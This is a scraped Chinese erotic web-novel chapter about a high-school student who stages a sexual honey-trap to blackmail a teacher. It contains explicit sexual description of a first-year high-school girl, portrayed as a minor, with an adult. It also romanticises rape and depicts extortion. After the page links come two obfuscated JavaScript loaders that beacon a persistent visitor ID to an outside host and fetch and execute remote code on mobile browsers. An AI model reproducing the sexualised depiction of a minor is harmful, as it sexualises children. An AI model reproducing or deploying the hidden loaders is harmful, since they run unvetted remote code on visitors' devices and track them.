学校里好几个女生都被赵维涵玩过,王琳也是其中之一。王琳这个天生的小骚货,早在十四岁时就破了身,前后不知跟多少男人上过床,当初还是她主动勾引的赵维涵呢。对于花丛老手的赵维涵来说,其实并不太喜欢王琳这种人尽可夫的小骚货,不过这丫头长像甜美,身体发育的也很好,一身软乎乎的嫩肉恰到好处,丰满又不肥胖,大奶子、大屁股的,手感极佳,肏起来还哇哇不停的叫,很是过瘾,也就跟她保持了一段炮友的关系。后来有了新的目标,就没再搭理过她了。这段关系都结束小半年了,今天赵维涵突然主动找了过来,王琳还以为这花花大少对自己旧情复燃了呢,自然格外的欢喜。

“哎呦……去你的……讨厌啊你……弄疼人家了……是不是最近小弟弟没肉吃了呀?咯咯……”骚浪的女孩发出露骨的挑逗,花枝乱颤地娇笑着。

“肏……是你丫那小骚屄馋肉了吧?哼哼……想要哥的大鸡巴不?”

“嗯~~~ 想~~~ 人家都想死了呢~~~ 嗯~~~ ”女孩歪头靠在男孩的肩头上,

扭动着身子,甜腻地撒着娇。

“你个小骚屄……越来越骚了……那你先替我办件事……等办完了……哥不但给你那小屄喂饱了……还额外送你个6P……怎么样?”

“6P?妹妹我就要你一人肏就知足了……6P我可受不了啊……咯咯……说吧……啥事啊?”王琳当然知道6P是什么,自打iPhone6Plus 一上市,她就想要一

个,可她父母说她刚换了没多久的iPhone5 ,马上又换新手机,太败家了,所以

一直没给她买。此时赵维涵说要送她一部iPhone6Plus ,那可是求之不得呢,再

说还能重温那根粗大威猛的大鸡巴的肏干,想一想就美死了。女孩嘴上开着玩笑,心里却急的百爪挠心一般……

“啊?你让我做这事啊……这个……还是算了吧……我不愿意……”听完男孩的耳语,王琳有些犹豫起来,皱褶眉头推脱着。

“不想要6P了?那好吧……我找别人去……”赵维涵撇了撇嘴,一脸的不屑,转身要走。

“别呀……你等会……我再想想……行,我答应你……什么时候办?”王琳急了,赶忙拉住男孩。iPhone6Plus 的诱惑实在是太大了,令她难以抗拒……

六月的北京,已是骄阳似火,完全进入了夏天。一晃半个月过去了,再有半个多月就要期末考试了,老师和学生们,都为了迎接期末考试的到来,而格外的紧张忙碌着……

自从那天宿舍里发生的骚扰事件之后,齐楚嫣一直谨小慎微、刻意回避着秦正仁。虽然暂时打消了辞职的念头,但她的心情依旧十分压抑。已经沦陷于小色狼的控制,身边还有一条老色狼在虎视眈眈的盯着自己,齐楚嫣只觉得自己的天空仿佛一片灰暗,看不到任何希望。就像一只在森林中迷途的羔羊,不知道什么时候,就会掉进万丈深渊……

好在秦正仁那老色鬼,自打那次色迷心窍之后,倒也还算老实,也许是没找到合适的机会吧,反正是没再骚扰过齐楚嫣。最令她感到欣慰的,是赵维涵那小子,真的发生了些变化。这段时间,没再听说他惹过什么事,好几个老师都反应,这小子像换了个人似的。虽说还是玩世不恭、吊儿郎当的模样,但学习成绩明显提升了。尤其是英语,原本课堂测验,几乎每次都是2 、30分,慢慢提升到50多

分,几乎要达到及格水平了。上课也不再调皮捣蛋了,有好几次,齐楚嫣甚至看到他拿着英语书,在食堂吃饭时还在背单词。只是那颗色心还没改,时不时的趁办公室没人的工夫,熘进来嬉皮笑脸的往齐楚嫣身上凑,东摸摸、西捏捏的,一边揩油,一边灌些甜言蜜语、耳热心跳的迷魂汤。每当这个时候,齐楚嫣都会搬出当初约定的第一条——以后不许再要挟、欺负她——当做挡箭牌,那小子竟然倒也信守承诺,基本都能乖乖的放过齐楚嫣。

潜移默化中,齐楚嫣似乎改变了对赵维涵的看法,在她眼里,这个原本并不令她讨厌的小帅哥,看着越发顺眼了。那次噩梦般的受辱经历,也觉得好似没有那么不堪回首了。夜深人静时,甚至好几次回味起被强奸时,身体上的那份快感。有一次竟然在睡梦中,与那男孩紧紧相拥在一起,辗转缠绵……

女人就是种奇怪的动物,当她从心底里决定要依附于一个男人的时候,那个男人身上的缺点似乎就都不再是问题。何况这个男人的确有不少闪光点和过人之处,更何况,自己已是一个输的精光的赌徒,命运还掌握在人家的手中呢?但刚过去短短半个月的时间,五个条件仅仅做到了前三条,后面两条还未兑现,齐楚嫣对男孩的态度,也仅仅是产生了一些好感而已,要说让她死心塌地的臣服于那坏小子,还没到时候……

周五下午,秦正仁的一个朋友来学校找他,想下学期把自己的孩子转到这所学校来读书。两人在办公室聊了一会,那朋友非要请他吃饭,正好也快到饭点了,于是两人来到校外附近的一家饭馆,朋友点了一桌子菜,边喝边聊。

酒足饭饱,天也擦黑了。与朋友道别后,秦正仁脚下拌着蒜,哼着小曲,返回学校。明天是周末,大部分老师和学生们,放学后都各自回家了,校园里比平时安静了许多,操场上只有几个家太远、还在学校留宿的学生,在打篮球。秦正仁家住的倒是不太远,可是刚喝了酒不能开车,而且老婆早就跟他离了婚、带着女儿搬出去了,家里也没别人,索性就不回去了,打算在宿舍住一晚上。“秦主任……我等您半天了……您有空么?”秦正仁刚走到教学楼拐角,就被一个女学生迎面挡住了去路。

“啊……你找我?你是哪个班的?”美滋滋的秦正仁被吓了一跳,本来喝的就晕晕乎乎的,望着眼前的女孩,一时没想起她叫什么名字。

“我叫王琳……高一。三班的……秦主任……我找您有事……”王琳双手十指缠绕着,半低着头,一副忸怩、羞涩、欲言又止的模样。

“哦……王琳啊……对对,我想起来了……你找我有啥事啊?”王琳这个名字,秦正仁是知道的,听说这是个很风骚的小丫头,以前倒是没怎么注意,今日一见,不但有几分姿色,那忸怩的神态,的确透出一股狐媚的骚劲来。秦正仁咽了口唾沫,下意识地捋了捋头顶上那几根稀疏的头发,柔声问道。

“去您的宿舍说吧……挺……挺害羞的事……”王琳翻着一双媚眼瞥了瞥秦正仁,一脸的娇羞。

一个大姑娘,天快黑了,跑过来说有害羞的事要单独聊,这要是换做别人,恐怕心里都得打个问号,可对于秦正仁这个老色鬼来说,却是巴不得的美事呢。借着酒劲,眼前这个骚媚、娇羞的小丫头,真是越看越可爱、越看越迷人。“好好……去我宿舍里说吧……这人来人往的……”说着,秦正仁伸手抓住王琳的胳膊,一起往宿舍走去。

操场远处,几个男孩围在一起,一人叼着一根烟,中间的一个高个男孩,眯缝着眼睛,目送两人走进教师宿舍楼,发出一声冷笑,手一挥,身边几人跟了过去……

“好了,找我有啥事啊?说吧……”秦正仁望着坐在自己床边上的女孩,尽量抑制着自己说话的语气,轻声问道。宿舍楼里几乎没什么人了,本就十分寂静,此时关上屋门后,屋里仿佛连唿吸的声音都能听见似的。

“是这样……我们班的谭老师……他把我……把我欺负了……呜呜……您得帮帮我啊……”王琳捂着脸,带着哭腔说道。

“谭老师?不会吧?他怎么欺负你了?快说说……”秦正仁两眼放光,身子往前凑了凑。

“他……他先是摸我……然后……然后又掐我……”王琳一脸害羞的神态,忸怩着说道。

“他都摸你哪了?这可不能瞎说,要有证据的啊……”秦正仁搓着双手问道,一脸的兴奋。

“他……他摸我这里了……都给我掐疼了……不信您看呐……”王琳说着,解开了衬衫胸前的两粒纽扣,敞开的衣领处,露出大片雪白的胸脯嫩肉。黑色的半罩杯款蕾丝乳罩,根本包裹不住那一对丰满的乳房,半个鼓胀的乳球,裸露在乳罩外面。女孩低头指着一只乳房上隐隐的几个红色指印,说道:“您看呐……就是这里……都给我掐出红印了……可疼了呢……”

那几个指印,其实是用腮红抹上去的,不过不仔细看,倒真像是被用力抓捏出来的指印一样逼真。屋里的灯光并不昏暗,但在黑色蕾丝乳罩的映衬下,那片白花花的乳肉,显得分外刺眼,别说是已经微醺了,就是在完全清醒的状态下,秦正仁也不会发现那红印的端倪。此时他只觉得口干舌燥,晕乎乎的大脑几乎无法控制自己的手了,强忍着想摸上去的冲动,颤声说道:“这……这个谭锐锋……怎么下得去手……看着挺老实的一个人呐……不应该呀……”

“他……他下手可重了……我不让他摸……他就掐我……后来……后来还把我按在桌子上……撩开我的裙子……在我屁股上……又摸又掐的……还抠我……抠我下面……哼嗯~~~ ”女孩捂着脸,扭动着身子,一副娇羞无限的模样。“啊?还……还抠你下面?不会吧?”秦正仁瞪着眼珠子,嗓子眼里干的都快冒火了。

“不信您看呐……他把我内裤都撕破了……”说着,女孩从床上站起来,一转身,上身趴下,一手撑在床上,一手将裙子撩到腰上,回过头望着秦正仁,指着屁股蛋说道:“您看呐……是不是都被他掐红了啊……”

高高撅翘着的屁股蛋,丰满、圆润,比胸脯乳肉还要白嫩。臀缝间一条窄小的黑色蕾丝内裤,一边确实被撕开了一个口子,破裂的蕾丝线头耷拉着。内裤裆部向外鼓胀着,想必在那布条下面包裹着的阴户,一定也是无比的肥美、鲜嫩。窄窄的布条两侧,露出几根蜷曲的耻毛,两侧白嫩的臀肉上,几个红色的指印,若隐若现。两条丰腴、白嫩的大腿,双脚着地,微微分开,绷得笔直。

“您看到了没有啊……您看他给我掐的呀……可疼了……内裤也给我撕破了……哼嗯~~~ ”女孩一般撒着娇,一边用手指勾了勾破裂的内裤。

“哦……看……看不太清楚……光线太暗了……你跪在床上……我再仔细看看……”秦正仁额头上已经冒出了一层汗珠,浑身燥热无比,裤裆里的鸡巴早就挺立起来,被内裤紧箍着,鼓胀难耐。他站起身来,解开了领口上的一粒纽扣,大口喘着粗气。

“真是的……这都看不清啊……”女孩好像有些不情愿,嘟囔着,却听话地抬腿跪在了床沿边上,上身趴下,屁股朝着男人高高地撅翘起来。

百褶学生制服裙,裙摆已经完全倒扣过来,翻转盖在腰上,双腿分开跪趴在床上的女孩,此时完全是等待男人后入肏干的姿势。灯光下,那白花花的大屁股,和臀缝间撕裂了的黑色蕾丝小内裤,无不向外散发着一股令人无法抗拒的诱惑力。不要说是秦正仁这样的老色狼,就是换做柳下惠,也终究难以坐怀不乱……秦正仁终于按捺不住了,颤抖的手伸了过去,轻轻摩挲着女孩的屁股蛋,拇指若即若离地隔着内裤,在女孩阴户间刮蹭着……

“嗯~~~ 秦主任~~~ 您看清了没有啊?您摸的人家……好痒呢……嗯~~~~”

女孩微微扭动着大屁股,回过头来,迷离的眼神无比的狐媚,望着身后的男人,娇滴滴的说道。

“还是看不太清啊……让我……让我再仔细看看……”秦正仁的一张油光光的脸,已经涨得跟块猪肝似的了,一双喷火的色眼,直勾勾地盯着女孩臀缝间鼓鼓的那处凸起,手指已经由轻轻的刮蹭,变成了一下一下的向下按压……

“哼嗯~~~ 您轻一点嘛~~~ 有点疼啊~~~ 您看看……他是不是把我那里给抠

破了呀~~~ ”

“好好……那我仔细看看里面……我把你裤衩扒开了啊……”秦正仁巴不得赶紧扒开女孩的小内裤呢,装模作样的问道,也不等女孩同意,手指一勾,就把内裤扒开了,肥美的阴户立刻展现在眼前。

“哼嗯~~~ 您好坏呀~~~ 怎么能看人家那里啊~~~ 羞死人了都~~~ 嗯~~~~”

女孩嘴上这么说着,却一点也没有害羞的样子,反倒又晃动了两下屁股,臀肉夹了夹,两片肥厚的小阴唇,在屄缝间翕动着,无比的淫靡。

“他……他怎么抠的你啊?是抠的这里么?”秦正仁只觉得裤裆里的鸡巴快要爆炸了,恨不得立刻掏出来,掰开女孩的屄缝插进去肏干,但最后残存的一丝理智还没有完全丧失,只是伸出中指,在女孩屄缝间滑动了两下,问道。

“嗯~~~ 是……是里面……他抠的是里面……哦~~~ 痒啊~~~ ”女孩开始呻

吟起来,娇媚、甜腻的嗓音,犹如一只温柔的小手,拨弄着男人脆弱的神经。“哦……他是这样……这样抠的么?”秦正仁将中指缓缓插入到女孩阴道穴口之中,颤声问道。粗糙的手指,完全陷入到一片滑腻、娇嫩的腔肉的包裹中。温热的蜜道腔肉,一下一下地收缩着,女孩的身体开始微微震颤起来。

“啊~~~ 是……是啊……嗯~~~ 是这样抠的啊~~~ 不过……您可比他温柔多

了~~~ 好痒啊~~~ 啊~~您好会抠啊~~~ 好舒服啊~~~ ”女孩的屁股开始微微前后

耸动起来,迎合着男人手指的抠挖,一声紧似一声的呻吟声,越来越甜腻、娇媚……

秦正仁再也绷不住了,他右手继续抠挖着女孩的小穴,左手悄悄拉开裤子拉链,掏出了鼓胀难耐的鸡巴。

“他是不是……把你里面抠伤了啊?我帮你好好看看……”他一边说着,一边抽出手指,将淫水涂抹到龟头上,双手掐住女孩的屁股,龟头对准阴道穴口,屁股一挺,插入了进去。

“啊~~~ 秦主任~~~ 您……您在干嘛呀~~~ 不要啊~~~ 快拔出来~~~ 啊~~~~”

女孩有些夸张地叫道,扭向后面的一张娇艳的脸庞,却几乎没有多少惊恐,嘴巴虽然张着,眼神却是分外的勾魂摄魄。屁股上一点挣扎、躲避的力道也没有,反而迎合着男人的抽插,向后一拱一拱的耸动起来。

很久没有开过洋荤了,尤其是这样一个十几岁、嫩的能挤出水来的小丫头,不但娇嫩,还十分的风骚、狐媚,那种半推半就、欲拒还迎的神态,简直能让人发疯。在酒精的熏蒸下,秦正仁只觉得自己仿佛回到了20岁,意气勃发、兴致高昂,浑身似乎有无尽的力量,鸡巴在多汁的阴道里快速地抽插着,枪枪到底。大量的淫液,随着鸡巴的抽送喷溅出来,黏煳煳的粘在男人的裤裆处,“噗滋噗滋”声,混杂着女孩的浪叫声,不绝于耳……

“啊~~~~啊~~~ 不要啊~~~~快拔出来啊~~~ 啊啊~~~~”女孩的叫声越来越大,

在寂静的楼道里都听的一清二楚。门外站着的几个人,回头望着身后的高个男孩,男孩背着手摇了摇头,示意他们再等等……

“啊~~~ 快停下来呀~~~~不要啊~~~ 啊啊~~~~”女孩嘴上叫着不要,屁股却

越来越快地向后耸动着,臀肉狠狠撞击在男人的小腹上,一波波的臀浪涌动着,令人无比的亢奋。男人的喘息越来越粗重,额头上的汗珠开始向下流淌,滴落在女孩的屁股蛋上。鼓胀欲裂的鸡巴,被灼热的蜜道腔肉摩擦得快要炸开了,龟头马眼上的酥麻快感,已经难以抑制,精关一松,随着一声低吼,股股浓精喷射而出,浇灌在女孩阴道深处……

“啊~~~~不要啊~~~ 不要射在里面啊~~~ 啊啊~~~~”女孩最后的一声大叫,

几乎是声嘶力竭一般,生怕门外的人听不到……

“砰砰砰……开门……砰砰砰……快开门……”秦正仁最后两股精液还没射完,门外就传来重重的砸门声。那突如其来的砸门声和喊话声,惊得秦正仁差点跌倒在地上,也顾不上被打断的高潮了,拔出正在射精的鸡巴,最后两股精液,全射在了女孩的屁股上。他想把还在跳动着的鸡巴塞回裤裆里,可黏煳煳、硬邦邦的鸡巴一时根本塞不进去。手忙脚乱之中,房门被打开了,拿钥匙开门的,是一个保安。接着,“唿啦啦”一下子涌进4 、5 个大小伙子,都是一身学生制服,

但看着都很面生。

“你妈逼!秦正仁你个老逼,你丫敢强奸我女朋友?找死啊你孙贼……”冲在最前边的一个男孩,照着秦正仁的腮帮子就是一拳,秦正仁双手还在往裤裆里塞着鸡巴,根本没有提防,被打的一个趔趄,一屁股坐倒在地上,露在裤裆外的鸡巴,还依旧硬挺挺的直立着。

“啊~~~ 老公~~~ 不关我的事……是他……是他强奸我的~~~ 呜呜~~~ ”蜷

缩在床上的王琳,捂着脸,带着哭腔说道。

“同学……你……你听我解释……不是……”秦正仁一手捂着腮帮子,一手捂着裤裆,也顾不上耷拉下来的那几缕稀疏的头发了,结结巴巴地试图解释。“不是你妈了逼!操你妈的……打你丫挺的……”说着,几个小子蜂拥而上,朝蜷缩在地上的秦正仁一顿拳打脚踢。秦正仁抱着头,杀猪似的哀嚎着……“怎么回事啊这么炒?哎哎……哥几个别打了……都别打了……”赵维涵从门外晃悠进来,他扒拉开几个打红了眼的男孩,护在秦正仁身前,低头问道:“秦主任,这是……怎么回事啊?”

自称是王琳男朋友的那个男孩,指着赵维涵说道:“少爷,这没你事,这老逼把我女朋友强奸了,我今儿非给丫废喽不可……”

“维涵呐……你来的正好……我是被冤枉的……不是他们说的那样……”此时秦正仁那点酒劲早被吓醒了,清醒过来的大脑,已经基本明白自己是被算计了。可是捉奸在床,真是有口难辨。

“哥几个,秦主任是我爸的朋友,你们先给我个面子,让他慢慢说。秦主任,先起来吧,说说怎么回事……”赵维涵一副黑道大哥的腔调,两边安抚着说道。“维涵呐……是这样……”秦正仁被搀扶着坐到椅子上,手捂着裤裆,耷拉着脑袋,把刚才的事情经过大概说了一遍,但不承认自己强奸,只强调自己是在给王琳验伤。

“验伤?验你妈了逼!有拿你丫鸡巴插里边验伤的么?孙贼,你丫撅着,我也给你丫屁眼验验伤……操!还给我媳妇内射了……我操你妈的!”男孩一边骂着,一边扭头走到床边,一把掰开王琳蜷缩着的双腿,看见女孩屄缝间涌出的白色粘液,指着秦正仁破口大骂。

“你、你,你俩留下,其他人先出去,把门关上……”赵维涵还真有个老大的样,双手插在裤兜里,冲男孩和王琳扬了扬下巴,又冲其他几人摆了下头,说道。

“我满院子找我媳妇找不着,听他们哥几个说,她被这老逼带到这来了。敲门也不给开,我就觉得不对劲,要不是叫保安过来打开门,这老逼还指不定要干什么呢……你妈逼的!还是晚了一步……操!少爷,你说这事怎么办吧……”男孩气唿唿地说着,一双手却没闲着,将王琳搂在怀里,抓揉着女孩的一对乳房。王琳一双媚眼瞥了瞥男孩,趴在他耳边小声说道:“你丫就趁机占我便宜吧……等完事了我告诉少爷修理你丫那……”

秦正仁心里那个气啊,明知道男孩说的都是一派胡言,却没有半点反驳的勇气,只得耷拉着脑袋,等候赵维涵的调停。

“这样啊……我都听明白了……秦主任,虽说您是我爸的朋友,但这事您办的……要是传出去,您可是要进去的……我怕是帮不了你了……”赵维涵点了根烟,摇着头说道,一脸的无可奈何。

“别……维涵……你得帮帮我……我……我是一时煳涂……我愿意补偿……多少都行……”此时只有抓住赵维涵这根救命的稻草了,秦正仁一脸可怜兮兮的表情,哀求着。

“补偿?行,拿50万来!”那男孩恶狠狠地说道,手指揉捏着王琳的奶头,把女孩捏的媚眼如苏,靠在男孩肩头,哼唧着。

“啊?50万?太多了吧……我……我没有那么多啊……少点行不行……”秦正仁差点没从椅子上掉下来,哭丧着脸哀求道。

“少你妈了逼!你把我媳妇玩了,以后让她脸往哪搁?我在这还怎么混?操!”男孩梗着脖子说道,似乎没有一点让步的意思。

“这样吧……50万是太多了点,秦主任你拿5 万给他……然后三天内辞职离开这,算是给他俩一个交代……你们俩呢……也给我个面子,这事就这么了了,OK?”赵维涵看了看双方,语气不庸质疑。

虽说要自己辞职,失去这么好的工作,秦正仁心里一百二十个不乐意,但50万的补偿减到5 万,也算是万幸了。谁让自己这不长记性的臭毛病呢,总比事情闹大了,去吃牢饭要强多了。那男孩嘴里嘟囔着,似乎不太情愿,但也没再说什么。

其实这一切都是赵维涵一手导演、安排的,那几个男孩都是他从外校找来的,换上本校的校服充数。王琳那小骚货自不必说,满脑子只惦记着崭新的6P呢。拿钥匙开门的保安,也是赵维涵事先用一条软“中华”搞定的。一切都和他设计的一样,只是秦正仁的那个朋友,倒是计划外的,却来的恰到好处,使整个计划完成的天衣无缝、异常完美。

双方在赵维涵起草的一份声明上签了字,作为中间人,赵维涵收好了纸条。秦正仁宿舍里的现金全算上,也就凑出了3 万,赵维涵带着双方来到校外的一家银行,盯着秦正仁从ATM 机里又取了2 万现金,交给那男孩,才放秦正仁回去。

等灰头土脸的秦正仁走远了,两男一女才哈哈大笑起来……

“少爷,我表现还不错吧?你们也不早点进来,非等那老色鬼射人家里面,恶心死了……哼……答应我的东西啥时候给我呀?”王琳身子往赵维涵身上拱了拱,撅着嘴腻声问道。

“嗯,表现还不错,你丫不进中戏都可惜了,嘿嘿……一会跟我回宿舍拿给你……”赵维涵拍了拍王琳的脸蛋,满意地说道,又转头对那男孩说道:“你们哥几个也都挺到位,这5 万你们哥几个分了吧……额外再给你加个小肥羊套餐……”说着,赵维涵朝王琳努了努嘴,一脸的坏笑。

“切~~~ 我才不伺候他呢……丫刚才没少占我便宜……哼……”王琳嘴上这么说着,心里却巴不得赶紧找个地方,撅着屁股让那男孩好好肏干一番呢。刚才秦正仁肏的那几下,不疼不痒的,刚好把这小骚货的欲火勾了起来,想着一会就能拿到心仪的6P了,再跟那男孩好好爽一爽,一双媚眼都乐得眯成一条缝了……周一一早,秦正仁就向校长递交了辞呈,理由是身体欠佳,工作压力太大云云。尽管校长极力挽留,但自然是无济于事,最终不得不批准他先回家休养,待董事会讨论批准后,再正式生效。

秦正仁的突然辞职,在学校引起了不小的轰动,特别是教职工们,都觉得这其中一定有什么内幕,可只有齐楚嫣心里明白,这一定是赵维涵那小子的杰作,却又不知道他是用什么手段把那老色鬼逼走的。由于那天晚上的所有当事人,都被赵维涵威逼利诱的封了口,而且只有那保安和王琳是本校的人,所以此事的真正内幕,一时再没人知晓。毕竟秦正仁是自己父亲的朋友,既然目的达到了,赵维涵也算给他留了点面子,没有张扬出去。

齐楚嫣几次想找赵维涵问问,他是用的什么计策,可那小子就像啥事都没发生过似的,每次面对齐楚嫣的时候,永远是一副狡黠的坏笑,唯一的区别,就是上课比以前认真多了,成绩也在稳步上升。齐楚嫣看在眼里,心里也不知道该是喜还是忧。喜的是,这小子虽然是个小流氓,但也知道上进,而且的确足够聪明,尽管这些变化是为了得到自己而做出的改变,那也很令人欣慰了。忧的是,眼看还有半个多月,就到了自己兑现承诺的期限,虽说自己已经没那么憎恨、厌恶那小子了,但要说爱上他,那还是远远没有达到。每每想到,自己即将委身于这个强奸了自己的小流氓的时候,齐楚嫣心里都会涌起一阵说


上一篇:我的大奶女友美兮(1)

下一篇:妖女榨汁(榨精文)(22 分支一)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};